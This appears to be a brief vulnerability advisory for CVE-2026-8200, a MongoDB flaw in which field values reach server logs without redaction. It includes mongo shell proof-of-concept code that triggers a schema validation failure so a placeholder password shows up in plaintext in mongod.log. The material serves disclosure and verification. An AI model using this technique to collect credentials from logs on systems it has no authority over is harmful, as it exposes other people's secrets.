CVE-2026-8200 MongoDB日志数据未脱敏信息泄露漏洞

// This PoC demonstrates triggering the log redaction issue. // Prerequisites: Access to a MongoDB instance with a user having high privileges. // 1. Connect to the database use testDB; // 2. Create a collection with strict JSON Schema validation db.createCollection("sensitive_data", { validator: { $jsonSchema: { bsonType: "object", required: ["id", "secret"], properties: { id: { bsonType: "int" }, secret: { bsonType: "string" }, // This field contains sensitive data extra_data: { bsonType: "string" } } } } }); // 3. Attempt to insert a document that violates the schema // In vulnerable versions, the value of 'secret' might be logged in plaintext // when the validation fails due to the wrong type for 'id'. db.sensitive_data.insertOne({ id: "invalid_type_should_be_int", // Triggers validation error secret: "MySuperSecretPassword123", // Potential leak in logs extra_data: "some_value" }); // 4. Check the MongoDB server logs (mongod.log) // Look for entries related to 'Document failed validation' // The vulnerability is confirmed if 'MySuperSecretPassword123' appears in the log.